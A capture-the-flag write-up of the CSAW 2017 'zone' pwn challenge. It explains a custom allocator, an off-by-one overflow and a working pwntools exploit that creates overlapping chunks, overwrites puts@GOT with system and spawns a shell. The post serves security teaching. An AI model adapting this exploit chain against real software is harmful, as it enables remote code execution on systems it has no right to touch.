CSAW CTF 2017 Qualification PWN ZONE Write-up

Introduction

Points 300 Solve: 56

This challenge implements a self-designed memory management mechanism. Through some reverse engineering work and discovery of the memory corruption, we can finally get the shell.

Target Analysis

At the start of the program, it will allocate 4 chunks as follow. Each chunk is assigned for allocation of one specific size (0x40, 0x80, 0x100, 0x200).

0x7f0773012000     0x7f0773013000     0x1000        0x0 => size 0x200
0x7f0773013000     0x7f0773014000     0x1000        0x0 => size 0x100
0x7f0773014000     0x7f0773015000     0x1000        0x0 => size 0x80
0x7f0773015000     0x7f0773016000     0x1000        0x0 => size 0x40

Memory Management

Below we list the pseudo code for chunk allocation.

void *allocate(void* arena, int size)
{
     return allocateFun(arena, size);
}
/*
arena is a chunk of memory to maintain the memory chunk list
x/20gx 0x7ffc5173afc0
0x7ffc5173afc0:	0x0000000000000040	0x00007f0773015000
0x7ffc5173afd0:	0x00007f0773015000	0x0000000000000080
0x7ffc5173afe0:	0x00007f0773014000	0x00007f0773014000
0x7ffc5173aff0:	0x0000000000000100	0x00007f0773013000
0x7ffc5173b000:	0x00007f0773013000	0x0000000000000200
0x7ffc5173b010:	0x00007f0773012000	0x00007f0773012000
*/

void *allocateFun(void* arena, int size)
{
     if(size <= 0x40){
          return smallAllocFun(arena);
     }
     else if(size < 0x80){
          return mediumAllocFun(arena);
     }
     else if(size < 0x100){
          return largeAllocFun(arena);
     }
     else if(size < 0x200){
          return hugeAllocFun(arena);
     }
     else{
         return NULL;
     }
}

void* smallAllocFun(void* arena)
{
      allocFunImpl(arena);
}
void* mediumAllocFun(void* arena)
{
      allocFunImpl(arena+0x18);
}
void* largeAllocFun(void* arena)
{
      allocFunImpl(arena+0x30);
}
void* hugeAllocFun(void* arena)
{
      allocFunImpl(arena+0x48);
}
/*
struct header{
    unsigned long size;
    chunk_header* next;    // +0x8
    chunk_header* start;    // +0x10
}

struct chunk_header{
    unsigned long size;
    chunk_header *next;
}
*/

void *allocFunImpl(header* h)
{
     chunk* ptr;
     chunk_header* next_chunk;
     ptr = h->next;
     if(ptr == NULL) return NULL;
     next_chunk = ptr->next;
     if(next_chunk == NULL){
            h->next = NULL;
     }
     else {
            h->next = next_chunk->next;
     }
     return (ptr + 0x10);
}

On the contrary, for memory deallocation

void free(void* arena, void* last_chunk)
{
     if(last_chunk == NULL) return;
     struct chunk_header* ch = last_chunk - 0x10;
     unsigned long size = ch->size
     printf("Free size: %lu\n" %  size);
     if(size==0x40){
           smallFreeFun(arena, ch);
     }
     else if(size == 0x80){
           mediumFreeFun(arena, ch);
     }
     else if(size == 0x100){
           largeFreeFun(arena, ch);
     }
     else if(size == 0x200){
           huge FreeFun(arena, ch);
     }
     else exit(0);
     return ;
}

void smallFreeFun(void* arena, struct chunk_header *ch)
{
     freeFunImpl(arena, ch);
}
void mediumFreeFun(void* arena, struct chunk_header *ch)
{
     freeFunImpl(arena+0x18, ch);
}
void largeFreeFun(void* arena, struct chunk_header *ch)
{
     freeFunImpl(arena+0x30, ch);
}
void hugeFreeFun(void* arena, struct chunk_header *ch)
{
     freeFunImpl(arena+0x48, ch);
}

freeFunImpl(struct header *h, struct chunk_header *ch)
{
     if(ch == NULL) return;
     ch->next = h->next;
     h->next = ch;
}

Off-by-one Error

After examining the code of writing process, it was discovered that the reading process (loop) terminates when index is larger than allocated size. It enables attacker to corrupt one byte after (0x40, 0x80, 0x100, 0x200)-chunk.
Capture12

Exploitation

Initial Idea

As displayed in the pseudocode of the malloc/free, free process decides which chunk list to use according to the size in chunk_header that is about to be freed. Therefore the first idea that comes in mind is to allocate two chunks of size 0x40 and use the off-by-one error to corrupt the of the second chunk. Luckily, 0x40 and 0x80 both occupy only one byte. So we decide to overwrite 0x40 to 0x80.

from pwn import *
timeout = 0.1;
DEBUG = int(sys.argv[1]);

if(DEBUG == 2):
    r = process("./zone");
    gdb.attach(r, '''source ./script''');
elif(DEBUG == 1):
    r = process("./zone");
elif(DEBUG == 0):
    r = remote("pwn.chal.csaw.io", 5223);

libc = ELF("./libc.so.6");
target = ELF("./zone");

def halt():
    while(True):
        log.info(r.recvline());

def add(size):
    r.recvuntil("Exit\n");
    tick();
    r.sendline("1");
    r.clean();
    r.sendline(str(size));

def delete():
    r.recvuntil("Exit\n");
    tick();
    r.sendline("2");

def write(payload):
    r.recvuntil("Exit\n");
    #tick();
    r.sendline("3");
    r.clean();
    r.sendline(payload);

def view():
    r.recvuntil("Exit\n");
    tick();
    r.sendline("4");

def tick():
    time.sleep(timeout);

r.recvuntil("Environment setup: ");
leak = r.recvline();
arenaAddr = int(leak, 16);
log.info("arena Addr: 0x%x" % arenaAddr);

add(0x40);
write("A"*0x40 + "\x80");

view();

add(0x40);
write("B"*0x40);

delete();
halt();

The memory layout before delete

Breakpoint 3, 0x00000000004042f8 in ?? ()
$1 = 0x7ffd5f0389c0
$2 = 0x40

Breakpoint 1, 0x000000000040436b in ?? ()
$3 = 0x7fc421a85010  <== first allocation

Breakpoint 3, 0x00000000004042f8 in ?? ()
$4 = 0x7ffd5f0389c0
$5 = 0x40

Breakpoint 1, 0x000000000040436b in ?? ()
$6 = 0x7fc421a85060  <== second allocation

Breakpoint 2, 0x000000000040436c in ?? ()
$7 = 0x7ffd5f0389c0
$8 = 0x7fc421a85060
0x7fc421a85000:	0x0000000000000040	0x0000000000000000
0x7fc421a85010:	0x4141414141414141	0x4141414141414141
0x7fc421a85020:	0x4141414141414141	0x4141414141414141
0x7fc421a85030:	0x4141414141414141	0x4141414141414141
0x7fc421a85040:	0x4141414141414141	0x4141414141414141
0x7fc421a85050:	0x00000000000000[80]	0x0000000000000000 <==corrupted data
0x7fc421a85060:	0x4242424242424242	0x4242424242424242
0x7fc421a85070:	0x4242424242424242	0x4242424242424242
0x7fc421a85080:	0x4242424242424242	0x4242424242424242
0x7fc421a85090:	0x4242424242424242	0x4242424242424242

The memory layout after delete

0x40 chunk memory layout
0x7fc421a85000:	0x0000000000000040	0x0000000000000000
0x7fc421a85010:	0x4141414141414141	0x4141414141414141
0x7fc421a85020:	0x4141414141414141	0x4141414141414141
0x7fc421a85030:	0x4141414141414141	0x4141414141414141
0x7fc421a85040:	0x4141414141414141	0x4141414141414141
0x7fc421a85050:	0x0000000000000080	0x00007fc421a84000
0x7fc421a85060:	0x4242424242424242	0x4242424242424242
0x7fc421a85070:	0x4242424242424242	0x4242424242424242
0x7fc421a85080:	0x4242424242424242	0x4242424242424242
0x7fc421a85090:	0x4242424242424242	0x4242424242424242

arena linked list:
0x7ffd5f0389c0:	0x0000000000000040	0x00007fc421a850a0
0x7ffd5f0389d0:	0x00007fc421a85000	0x0000000000000080
0x7ffd5f0389e0:	[0x00007fc421a85050]	0x00007fc421a84000
0x7ffd5f0389f0:	0x0000000000000100	0x00007fc421a83000
0x7ffd5f038a00:	0x00007fc421a83000	0x0000000000000200
0x7ffd5f038a10:	0x00007fc421a82000	0x00007fc421a82000

At this point, we can observe that the second allocated chunk (0x00007fc421a85050) is moved into the 0x80_chunk-list as the first chunk for further allocation.

Exploitation Plan

At time point, we can see the delicious part of the exploitation. For next allocation of size 0x40, we will get 0x00007fc421a850b0 with ability to write 0x40 bytes. For next allocation of size 0x80, we will get 0x00007fc421a85060 with ability to write 0x80 bytes. That’s overlapping chunk and that’s great!
After taking a closer look into the code of allocFunImpl, we find that the next_chunk in list was updated by next pointer in chunk_header. So our plan is to take advantage of the overlapping chunk we have just created, get to read the value located at puts@plt and overwrite the function pointer to system function.
So our final exploitation plan is as follow:
(1)Get two overlapping chunks in memory (one is of size 0x40 at higher address, one is of 0x80 at lower)
(2)Craft a fake chunk for size 0x40 to make next allocated chunk pointing to 0x607020 (puts@got.plt).
(3)Leak libc base and system address. Overwrite address at 0x607020 to be system address.
(4)Insert “/bin/sh” in chunk and view the chunk.

Solved Exploitation

from pwn import *

timeout = 0.1;

DEBUG = int(sys.argv[1]);

if(DEBUG == 2):
    r = process("./zone");
    gdb.attach(r, '''source ./script''');
elif(DEBUG == 1):
    r = process("./zone");
elif(DEBUG == 0):
    r = remote("pwn.chal.csaw.io", 5223);

libc = ELF("./libc.so.6");
target = ELF("./zone");

def halt():
    while(True):
        log.info(r.recvline());

def add(size):
    r.recvuntil("Exit\n");
    tick();
    r.sendline("1");
    r.clean();
    r.sendline(str(size));

def delete():
    r.recvuntil("Exit\n");
    tick();
    r.sendline("2");

def write(payload):
    r.recvuntil("Exit\n");
    #tick();
    r.sendline("3");
    r.clean();
    r.sendline(payload);

def view():
    r.recvuntil("Exit\n");
    tick();
    r.sendline("4");

def tick():
    time.sleep(timeout);

putsGot = 0x607020;

r.recvuntil("Environment setup: ");
leak = r.recvline();
arenaAddr = int(leak, 16);
log.info("arena Addr: 0x%x" % arenaAddr);

add(0x40);
write("A"*0x40 + "\x80");

view();

add(0x40);
write("B"*0x40);

delete();

add(0x80);
write("C"*0x40 + p64(0x40) + p64(putsGot - 0x10));

add(0x40);

add(0x40);
view();
leak = r.recv(6);
leakedPuts = u64(leak + "\x00\x00");
log.info("Puts address: 0x%x" % leakedPuts);
libcBase = leakedPuts - 0x6f690;
systemAddr = libcBase + 0x45390;
log.info("System address: 0x%x" % systemAddr);

#write(systemAddr);
r.recvuntil("Exit\n");
tick();
r.sendline("3");
r.clean();
r.sendline(p64(systemAddr));
r.clean();

#add(0x200)
tick();
r.sendline("1");
r.clean();
r.sendline(str(0x200));
r.clean();

#write("/bin/sh");
tick();
r.sendline("3");
r.clean();
r.sendline("/bin/sh");
r.clean();

r.sendline("4");
r.interactive();

Conclusion

To be honest, I do not think it’s a good pwn challenge. In the first day of CSAW, we have located the vulnerable code and finished local exploit implementation. But we waste a lot of time making effort to assure the command is sent in sequence over net. The biggest lesson learn from this challenge should be r.clean() :(.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.